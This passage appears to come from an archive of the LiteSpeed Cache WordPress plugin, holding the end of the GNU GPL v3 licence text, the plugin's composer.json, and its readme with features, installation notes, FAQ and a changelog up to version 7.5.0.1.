restrictions" within the meaning of section 10.  If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term.  If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.

  If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.

  Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.

  8. Termination.

  You may not propagate or modify a covered work except as expressly
provided under this License.  Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).

  However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.

  Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.

  Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License.  If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.

  9. Acceptance Not Required for Having Copies.

  You are not required to accept this License in order to receive or
run a copy of the Program.  Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance.  However,
nothing other than this License grants you permission to propagate or
modify any covered work.  These actions infringe copyright if you do
not accept this License.  Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.

  10. Automatic Licensing of Downstream Recipients.

  Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License.  You are not responsible
for enforcing compliance by third parties with this License.

  An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations.  If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.

  You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License.  For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.

  11. Patents.

  A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based.  The
work thus licensed is called the contributor's "contributor version".

  A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version.  For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.

  Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.

  In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement).  To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.

  If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients.  "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.

  If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.

  A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License.  You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.

  Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.

  12. No Surrender of Others' Freedom.

  If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all.  For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.

  13. Use with the GNU Affero General Public License.

  Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work.  The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.

  14. Revised Versions of this License.

  The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

  Each version is given a distinguishing version number.  If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation.  If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.

  If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.

  Later license versions may give you additional or different
permissions.  However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.

  15. Disclaimer of Warranty.

  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. Limitation of Liability.

  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.

  17. Interpretation of Sections 15 and 16.

  If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <https://www.gnu.org/licenses/>.

Also add information on how to contact you by electronic and paper mail.

  If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:

    <program>  Copyright (C) <year>  <name of author>
    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".

  You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.

  The GNU General Public License does not permit incorporating your program
into proprietary programs.  If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.  But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.
litespeed-wp-plugin/7.5.0.1/litespeed-cache/composer.json000064400000001201151031165260017003 0ustar00{
	"name": "litespeedtech/lscache_wp",
	"require-dev": {
		"squizlabs/php_codesniffer": "^3.12",
		"phpcompatibility/php-compatibility": "*",
		"wp-coding-standards/wpcs": "^3.1",
		"phpcsstandards/phpcsutils": "^1.0",
		"phpcsstandards/phpcsextra": "^1.2",
		"dealerdirect/phpcodesniffer-composer-installer": "^1.0",
		"php-stubs/wp-cli-stubs": "^2.12"
	},
	"prefer-stable": true,
	"scripts": {
		"sniff-check": "vendor/bin/phpcs --standard=phpcs.ruleset.xml --no-cache cli/ lib/ src/ tpl/ thirdparty autoload.php litespeed-cache.php"
	},
	"config": {
		"allow-plugins": {
			"dealerdirect/phpcodesniffer-composer-installer": true
		}
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/readme.txt000064400000127025151031165260016274 0ustar00=== LiteSpeed Cache ===
Contributors: LiteSpeedTech
Tags: caching, optimize, performance, pagespeed, seo, image optimize, object cache, redis, memcached, database cleaner
Requires at least: 5.3
Requires PHP: 7.2
Tested up to: 6.8
Stable tag: 7.5.0.1
License: GPLv3
License URI: http://www.gnu.org/licenses/gpl.html

All-in-one unbeatable acceleration & PageSpeed improvement: caching, image/CSS/JS optimization...

== Description ==

LiteSpeed Cache for WordPress (LSCWP) is an all-in-one site acceleration plugin, featuring an exclusive server-level cache and a collection of optimization features.

LSCWP supports WordPress Multisite and is compatible with most popular plugins, including WooCommerce, bbPress, and Yoast SEO.

LiteSpeed Cache for WordPress is compatible with ClassicPress.

== Requirements ==
**General Features** may be used by anyone with any web server (LiteSpeed, Apache, NGINX, etc.).

**LiteSpeed Exclusive Features** require one of the following: OpenLiteSpeed, commercial LiteSpeed products, LiteSpeed-powered hosting, or QUIC.cloud CDN. [Why?](https://docs.litespeedtech.com/lscache/lscwp/faq/#why-do-the-cache-features-require-a-litespeed-server)

== Plugin Features ==

= General Features =

* Free QUIC.cloud CDN Cache
* Object Cache (Memcached/LSMCD/Redis) Support<sup>+</sup>
* Image Optimization (Lossless/Lossy)
* Minify CSS, JavaScript, and HTML
* Minify inline & external CSS/JS
* Combine CSS/JS
* Automatically generate Critical CSS
* Lazy-load images/iframes
* Responsive Image Placeholders
* Multiple CDN Support<sup>+</sup>
* Load CSS Asynchronously
* Defer/delay JS loading
* Browser Cache Support<sup>+</sup>
* Database Cleaner and Optimizer
* PageSpeed score (including Core Web Vitals) optimization
* OPcode Cache Support<sup>+</sup>
* HTTP/2 Push for CSS/JS (on web servers that support it)
* DNS Prefetch
* Cloudflare API
* Single Site and Multisite (Network) support
* Import/Export settings
* Attractive, easy-to-understand interface
* AVIF/WebP image format support
* Heartbeat control

<sup>+</sup> This service is not provided by the LSCache plugin, nor is it guaranteed to be installed by your service provider. However, the plugin is compatible with the service if it is in use on your site.

= LiteSpeed Exclusive Features =

* Automatic page caching to greatly improve site performance
* Automatic purge of related pages based on certain events
* Private cache for logged-in users
* Caching of WordPress REST API calls
* Separate caching of desktop and mobile views
* Ability to schedule purge for specified URLs
* WooCommerce and bbPress support
* [WordPress CLI](https://docs.litespeedtech.com/lscache/lscwp/cli/) commands
* API system for easy cache integration
* Exclude from cache by URI, Category, Tag, Cookie, User Agent
* Smart preload crawler with support for SEO-friendly sitemap
* Multiple crawlers for cache varies
* HTTP/2 support
* [HTTP/3 & QUIC](https://www.litespeedtech.com/http3-faq) support
* ESI (Edge Side Includes) support<sup>*</sup>
* Widgets and Shortcodes as ESI blocks<sup>*</sup> (requires Classic Widgets plugin for WP 5.8+)

<sup>*</sup> Feature not available in OpenLiteSpeed

== Screenshots ==

1. Plugin Benchmarks
2. Admin - Dashboard
3. Admin - Image Optimization
4. Admin - Crawler
5. Admin Settings - Cache
6. Admin Settings - Page Optimization
7. Admin Settings - CDN
8. Admin Settings - DB Optimizer
9. Admin Settings - Toolbox
10. Cache Miss Example
11. Cache Hit Example

== LSCWP Resources ==
* [Join our Slack community](https://litespeedtech.com/slack) to connect with other LiteSpeed users.
* [Ask a question on our support forum](https://wordpress.org/support/plugin/litespeed-cache/).
* [View detailed documentation](https://docs.litespeedtech.com/lscache/lscwp/).
* [Read about LSCWP and WordPress on our blog](https://blog.litespeedtech.com/tag/wordpress/).
* [Help translate LSCWP](https://translate.wordpress.org/projects/wp-plugins/litespeed-cache/).
* [Contribute to the LSCWP GitHub repo](https://github.com/litespeedtech/lscache_wp).

== Installation ==

[View detailed documentation](https://docs.litespeedtech.com/lscache/lscwp/installation/).

= For Optimization Without a LiteSpeed Web Server =
1. Install the LiteSpeed Cache for WordPress plugin and activate it.
1. From the WordPress Dashboard, navigate to **LiteSpeed Cache > Page Optimization**. Enable the available optimization features in the various tabs.

= For Caching and Optimization With a LiteSpeed Web Server =
1. Install [LiteSpeed Web Server Enterprise](https://www.litespeedtech.com/products/litespeed-web-server) with LSCache Module, [LiteSpeed Web ADC](https://www.litespeedtech.com/products/litespeed-web-adc), or [OpenLiteSpeed](https://www.litespeedtech.com/open-source/openlitespeed) with cache module (Free). Or sign up for [QUIC.cloud CDN](https://quic.cloud).
1. Install the LiteSpeed Cache for WordPress plugin and activate it.
1. From the WordPress Dashboard, navigate to **LiteSpeed Cache > Cache**, make sure the option **Enable LiteSpeed Cache** is set to `ON`.
1. Enable any desired caching and optimization features in the various tabs.

= Notes for LiteSpeed Web Server Enterprise =

* Make sure that your license includes the LSCache module. A [2-CPU trial license with LSCache module](https://www.litespeedtech.com/products/litespeed-web-server/download/get-a-trial-license "trial license") is available for free for 15 days.
* The server must be configured to have caching enabled. If you are the server admin, [click here](https://docs.litespeedtech.com/lscache/start/#configure-cache-root-and-cache-policy) for instructions. Otherwise, please request that the server admin configure the cache root for the server.

= Notes for OpenLiteSpeed =

* This integration utilizes OpenLiteSpeed's cache module.
* If it is a fresh OLS installation, the easiest way to integrate is to use [ols1clk](https://openlitespeed.org/kb/1-click-install/). If using an existing WordPress installation, use the `--wordpresspath` parameter.
* If OLS and WordPress are both already installed, please follow the instructions in [How To Set Up LSCache For WordPress](https://openlitespeed.org/kb/how-to-setup-lscache-for-wordpress/).

== Third Party Compatibility ==

The vast majority of plugins and themes are compatible with LSCache. [Our API](https://docs.litespeedtech.com/lscache/lscwp/api/) is available for those that are not. Use the API to customize smart purging, customize cache rules, create cache varies, and make WP nonce cacheable, among other things.

== Privacy ==

This plugin includes some suggested text that you can add to your site's Privacy Policy via the Guide in the WordPress Privacy settings.

**For your own information:** LiteSpeed Cache for WordPress potentially stores a duplicate copy of every web page on display on your site. The pages are stored locally on the system where LiteSpeed server software is installed and are not transferred to or accessed by LiteSpeed employees in any way, except as necessary in providing routine technical support if you request it. All cache files are temporary, and may easily be purged before their natural expiration, if necessary, via a Purge All command. It is up to individual site administrators to come up with their own cache expiration rules.

In addition to caching, our WordPress plugin has online features provided by QUIC.cloud for Image Optimization and Page Optimization services. When one of these optimizations is requested, data is transmitted to a remote QUIC.cloud server, processed, and then transmitted back for use on your site. QUIC.cloud keeps copies of that data for up to 7 days and then permanently deletes it. Similarly, the WordPress plugin has a Reporting feature whereby a site owner can transmit an environment report to LiteSpeed so that we may better provide technical support. None of these features collects any visitor data. Only server and site data are involved.

QUIC.cloud CDN, if enabled, uses LSCache technology to access your site, and serve your content from remote global nodes. Your data is not accessed by QUIC.cloud employees in any way, except as necessary in providing maintenance or technical support.

Please see the [QUIC.cloud Privacy Policy](https://quic.cloud/privacy-policy/) for our complete Privacy/GDPR statement.

== Frequently Asked Questions ==

= Why do the cache features require LiteSpeed Server? =
This plugin communicates with your LiteSpeed Web Server and its built-in page cache (LSCache) to deliver superior performance to your WordPress site. The plugin’s cache features indicate to the server that a page is cacheable and for how long, or they invalidate particular cached pages using tags.

LSCache is a server-level cache, so it's faster than PHP-level caches. [Compare with other PHP-based caches](https://www.litespeedtech.com/benchmarks/wordpress).

A page cache allows the server to bypass PHP and database queries altogether. LSCache, in particular, because of its close relationship with the server, can remember things about the cache entries that other plugins cannot, and it can analyze dependencies. It can utilize tags to manage the smart purging of the cache, and it can use vary cookies to serve multiple versions of cached content based on things like mobile vs. desktop, geographic location, and currencies. [See our Caching 101 blog series](https://blog.litespeedtech.com/tag/caching-101/).

If all of that sounds complicated, no need to worry. LSCWP works right out of the box with default settings that are appropriate for most sites. [See the Beginner's Guide](https://docs.litespeedtech.com/lscache/lscwp/beginner/).

**Don't have a LiteSpeed server?** Try our QUIC.cloud CDN service. It allows sites on *any server* (NGINX and Apache included) to experience the power of LiteSpeed caching! [Click here](https://quic.cloud) to learn more or to give QUIC.cloud a try.

= What about the optimization features of LSCache? =

LSCWP includes additional optimization features, such as Database Optimization, Minification and Combination of CSS and JS files, HTTP/2 Push, CDN Support, Browser Cache, Object Cache, Lazy Load for Images, and Image Optimization! These features do not require the use of a LiteSpeed web server.

= Is the LiteSpeed Cache Plugin for WordPress free? =

Yes, LSCWP will always be free and open source. That said, a LiteSpeed server is required for the cache features, and there are fees associated with some LiteSpeed server editions. Some of the premium online services provided through QUIC.cloud (CDN Service, Image Optimization, Critical CSS, Low-Quality Image Placeholder, etc.) require payment at certain usage levels. You can learn more about what these services cost, and what levels of service are free, on [your QUIC.cloud dashboard](https://my.quic.cloud).

= What server software is required for this plugin? =

A LiteSpeed solution is required in order to use the **LiteSpeed Exclusive** features of this plugin. Any one of the following will work:

1. LiteSpeed Web Server Enterprise with LSCache Module (v5.0.10+)
2. OpenLiteSpeed (v1.4.17+)
3. LiteSpeed WebADC (v2.0+)
4. QUIC.cloud CDN

The **General Features** may be used with *any* web server. LiteSpeed is not required.

= Does this plugin work in a clustered environment? =

The cache entries are stored at the LiteSpeed server level. The simplest solution is to use LiteSpeed WebADC, as the cache entries will be stored at that level.

If using another load balancer, the cache entries will only be stored at the backend nodes, not at the load balancer.

The purges will also not be synchronized across the nodes, so this is not recommended.

If a customized solution is required, please contact LiteSpeed Technologies at `info@litespeedtech.com`

NOTICE: The rewrite rules created by this plugin must be copied to the Load Balancer.

= Where are the cached files stored? =

The actual cached pages are stored and managed by LiteSpeed Servers.

Nothing is stored within the WordPress file structure.

= Does LiteSpeed Cache for WordPress work with OpenLiteSpeed? =

Yes it can work well with OpenLiteSpeed, although some features may not be supported. See **Plugin Features** above for details. Any setting changes that require modifying the `.htaccess` file will require a server restart.

= Is WooCommerce supported? =

In short, yes. However, for some WooCommerce themes, the cart may not be updated correctly. Please [visit our blog](https://blog.litespeedtech.com/2017/05/31/wpw-fixing-lscachewoocommerce-conflicts/) for a quick tutorial on how to detect this problem and fix it if necessary.

= Are my images optimized? =

Images are not optimized automatically unless you set **LiteSpeed Cache > Image Optimization > Image Optimization Settings > Auto Request Cron** to `ON`. You may also optimize your images manually. [Learn more](https://docs.litespeedtech.com/lscache/lscwp/imageopt/).

= How do I make a WP nonce cacheable in my third-party plugin? =

Our API includes a function that uses ESI to "punch a hole" in a cached page for a nonce. This allows the nonce to be cached separately, regardless of the TTL of the page it is on. Learn more in [the API documentation](https://docs.litespeedtech.com/lscache/lscwp/api/#esi). We also welcome contributions to our predefined list of known third party plugin nonces that users can optionally include via [the plugin's ESI settings](https://docs.litespeedtech.com/lscache/lscwp/cache/#esi-nonce).

= How do I enable the crawler? =

The crawler is disabled by default, and must be enabled by the server admin first.

Once the crawler is enabled on the server side, navigate to **LiteSpeed Cache > Crawler > General Settings** and set **Crawler** to `ON`.

For more detailed information about crawler setup, please see [the Crawler documentation](https://docs.litespeedtech.com/lscache/lscwp/crawler/).

= What are the known compatible plugins and themes? =

* [WPML](https://wpml.org/)
* [DoLogin Security](https://wordpress.org/plugins/dologin/)
* [bbPress](https://wordpress.org/plugins/bbpress/)
* [WooCommerce](https://wordpress.org/plugins/woocommerce/)
* [Contact Form 7](https://wordpress.org/plugins/contact-form-7/)
* [All in One SEO](https://wordpress.org/plugins/all-in-one-seo-pack/)
* [Google XML Sitemaps](https://wordpress.org/plugins/google-sitemap-generator/)
* [Yoast SEO](https://wordpress.org/plugins/wordpress-seo/)
* [Wordfence Security](https://wordpress.org/plugins/wordfence/)
* [NextGen Gallery](https://wordpress.org/plugins/nextgen-gallery/)
* [ShortPixel](https://shortpixel.com/h/af/CXNO4OI28044/)
* Aelia CurrencySwitcher
* [Fast Velocity Minify](https://wordpress.org/plugins/fast-velocity-minify/) - Thanks Raul Peixoto!
* Autoptimize
* [Better WP Minify](https://wordpress.org/plugins/bwp-minify/)
* [WP Touch](https://wordpress.org/plugins/wptouch/)
* [Theme My Login](https://wordpress.org/plugins/theme-my-login/)
* [WPLister](https://www.wplab.com/plugins/wp-lister/)
* [WP-PostRatings](https://wordpress.org/plugins/wp-postratings/)
* [Avada 5.1 RC1+](https://avada.theme-fusion.com/)
* [Elegant Themes Divi 3.0.67+](https://www.elegantthemes.com/gallery/divi/)
* [Elegant Divi Builder](https://www.elegantthemes.com/plugins/divi-builder/)
* [Caldera Forms](https://wordpress.org/plugins/caldera-forms/) 1.5.6.2+
* Login With Ajax
* [Ninja Forms](https://wordpress.org/plugins/ninja-forms/)
* [Post Types Order 1.9.3.6+](https://wordpress.org/plugins/post-types-order/)
* [BoomBox — Viral Magazine WordPress Theme](https://themeforest.net/item/boombox-viral-buzz-wordpress-theme/16596434?ref=PX-lab)
* FacetWP (LSWS 5.3.6+)
* Beaver Builder
* WpDiscuz
* WP-Stateless
* Elementor
* WS Form
* WP Statistics

The vast majority of plugins and themes are compatible with LiteSpeed Cache. The most up-to-date compatibility information can be found [in our documentation](https://docs.litespeedtech.com/lscache/lscwp/thirdparty/)

= How can I report security bugs? =

You can report security bugs through the Patchstack Vulnerability Disclosure Program. The Patchstack team help validate, triage and handle any security vulnerabilities. [Report a security vulnerability.](https://patchstack.com/database/vdp/litespeed-cache)

== Changelog ==

= 7.5.0.1 - Sep 11 2025 =
* 🐞**GUI** Fixed an issue where the network dashboard template was missing. (mcworks)

= 7.5 - Sep 10 2025 =
* 🌱**Image Optimize** New option `Optimize Image Sizes` to allow user to choose which image sizes to include in optimization request.
* 🐞**Purge** Purge Time setting will respect WP timezone setting now. (PR#893)
* 🐞**Conf** Fixed a minor type-casting bug, which could cause unnecessary QUIC.cloud sync configuration when the setting is empty.
* **Misc** Dropped unused rewrite rule from htaccess.

= 7.4 - Aug 28 2025 =
* 🌱**Media** Added new Auto Rescale Original Image option.
* 🌱**Toolbox** Added ability to Disable All for 24 Hours. (PR#886)
* 🐞**CDN** Fixed a QUIC.cloud sync configuration failure on network child sites.
* 🐞**Object Cache** Fixed a bug that failed to detect the Redis connection status.
* **Cache** Better match iPhone browsers for mobile cache detection.
* **Cache** Dropped use of `advanced-cache.php` support since WP v5.3+ doesn't need it, and LiteSpeed requires WP v5.3+.
* **Cache** When page is not cacheable, set header to value used by WordPress `Cache-Control` header. (asafm7)
* **Page Optimize** Better compatibility for dummy CSS removal in cases where other plugins manipulate the quotation marks.
* **Page Optimize** Dropped v4.2 legacy `LITESPEED_BYPASS_OPTM`.
* **Crawler** Now use an .html file to test the port, as some security plugins block .txt files and cause port test failure. (#661828)
* **GUI** Show current live values for options if they are overridden by filters or the server environment. (PR#885)
* **Data** Dropped legacy code and upgraded data migration support to LSCWP v5.7-.
* **Misc** Support the `LITESPEED_DEV` constant to allow switching to a development environment.
* **Misc** Allow leading underscore (`_`) for private functions and variables in format checker.
* **Misc** Suppress frequent version check when a certain database option is cached.
* **Misc** Dropped `sanitize_file_name` usage to prevent template failure when 3rd party plugins manipulate that filter.

= 7.3.0.1 - Jul 30 2025 =
* **Page Optimize** Fixed the page score impact caused by CSS placeholder. (wpconvert, Sean Thompson)
* **Page Optimize** Fixed wrong prefetch/preload injection when a page contains other `<title>` tags. (idatahuy)
* **Crawler** Bypassed port test if no server IP set. (kptk, serkanix, Guillermo)

= 7.3 - Jul 24 2025 =
* 🌱**CLI** Added `wp litespeed-database` database optimization command.
* 🌱**Misc** Added survey and data deletion reminder in deactivation process.
* **Core** Refactored the template files to comply with WordPress standards.
* **Core** Refactored the CLI files to comply with WordPress standards. Fixed a bug with CLI `option` command failure handler.
* **ESI** Fixed a case where the Edit button is missing on the frontend when the permalink structure is `Plain`. (#934261 PR#860)
* **API** Added `litespeed_purge_tags` filter to allow manipulation of purge tags.
* **API** Allowed overriding `litespeed_ui_events` via window property. (Zsombor Franczia PR#865)
* **API** Added `litespeed_vpi_should_queue` filter to allow control over appending to the VPI queue. (tompalmer #855, Viktor Szépe PR#856)
* **Debug** Allowed debug at multisite network level. (PR#861)
* **Vary** Fixed a possible duplicate WebP vary in Chrome when mimicking an iPhone visit.
* 🐞**Vary** Used simpler rewrite rule to check for next generation image format support.
* **Page Optimize** Tuned the optimized data injection location in HTML to improve SEO. (videofinanzas)
* **Page Optimize** Improved DNS prefetch and preconnect sequence in HTML to be as early as possible. Simplified DNS optimization code.
* 🐞**Page Optimize** Added the JS Delay library that was missing when page optimization was off while iframe lazy load was on. (Zsombor Franczia #867)
* 🐞**Page Optimize** Allowed lazy load threshold overwrite. (Zsombor Franczia #852 PR#857)
* 🐞**Page Optimize** Fixed an issue where the `async` attribute was replaced even when it contained a value, e.g. `async=true`. (@macorak)
* 🐞**Cloud** Fixed the API call timestamp file creation warning.
* **Cloud** No longer include public key when logging QUIC.cloud registration process.
* **Image Optimize** Resend all images that failed to pull instead of bypassing them. (Ryan D)
* **Crawler** Checked QUIC.cloud CDN for crawler hit. (PR#866)
* 🐞**Crawler** Fixed an issue where the non-role-simulator crawler added the whole map to the blocklist on servers that only support port 80.
* **GUI** Added Enable All Features icon to admin bar when all features are disabled. This replaces the banner that previously displayed in admin. (Tobolo, PR#868)
* **GUI** Dropped font files. (Masoud Najjar Khodabakhsh)
* **3rd** Resolved an issue with an empty WooCommerce ESI nonce and HTML comments on geolocation redirection. (#612331 PR#708)
* **OPcache** Detected `opcache.restrict_api` setting to prevent PHP warning in purge. (ookris #9496550 PR#812)
* **Misc** Simplified admin JavaScript.
* **Misc** Fixed download import file extension issue on mobile. (autori76 #874)
* **Misc** Added existing plugin version to ping API for debugging purposes.
* **Misc** Fixed comment typos reported by static analysis. (Viktor Szépe PR#836)
* **Misc** Removed global variables from plugin initialization file. (Viktor Szépe PR#837)

= 7.2 - Jun 18 2025 =
* 🌱**CDN** New option: Cloudflare Clear on purge all. (PR#828)
* **Core** Used `site_url` instead of `home_url` to fix the content folder parsing and QUIC.cloud calls.
* 🐞**Cloud** Fixed a bug where we tried to sync QUIC.cloud usage while debug mode was ON, even when QC was not activated.
* **Cloud** Stored request timestamp in static files along w/ database to prevent duplicate requests when database is down.
* **Cache** Dropped `Cache PHP Resources` option.
* **Cache** Added verification to prevent admin pages from caching even if the site is set to be globally cacheable.
* **Image Optimize** Disable image pull cron if there have been no image notifications.
* **Crawler** Non-role simulator crawler will now use DNS resolve to hit original server instead of CDN nodes.
* **Media** Resolved an issue where deleting an image from grid mode neglected to also remove the optimized versions of the image. (PR#844, Zsombor Franczia #841)
* **Media** Allowed filter `litespeed_next_gen_format` to manipulate the value of next gen format. (Zsombor Franczia #853)
* **3rd** Elementor: Clear all caches on regenerate CSS & Data. (PR#806)
* **Config** `Purge All On Upgrade` now defaults to OFF.
* **GUI** Showed `Disable all features` message on all WP-Admin pages for Admin-level users when enabled.
* **Misc** Used PHPCS w/ WordPress core and security coding standards to reformat cache menu code. (Viktor Szépe #696)
* **Misc** Replaced use of `SHOW TABLES` with `DESCRIBE` to prevent database halt in very large WP Multisite installations. (Boone Gorges PR#834, PR#850)
* **Misc** Replaced constants with WordPress functions to check whether AJAX or CRON is running.
* **API** Added action `litespeed_save_conf` to provide a trigger for configuration updates.

= 7.1 - Apr 24 2025 =
* 🌱**Page Optimize** Added allowlist support for CCSS.
* **Cloud** CCSS results are now generated asynchronously via QUIC.cloud queue services.
* **Cloud** Added TTL control to QUIC.cloud services to make next requests more flexible.
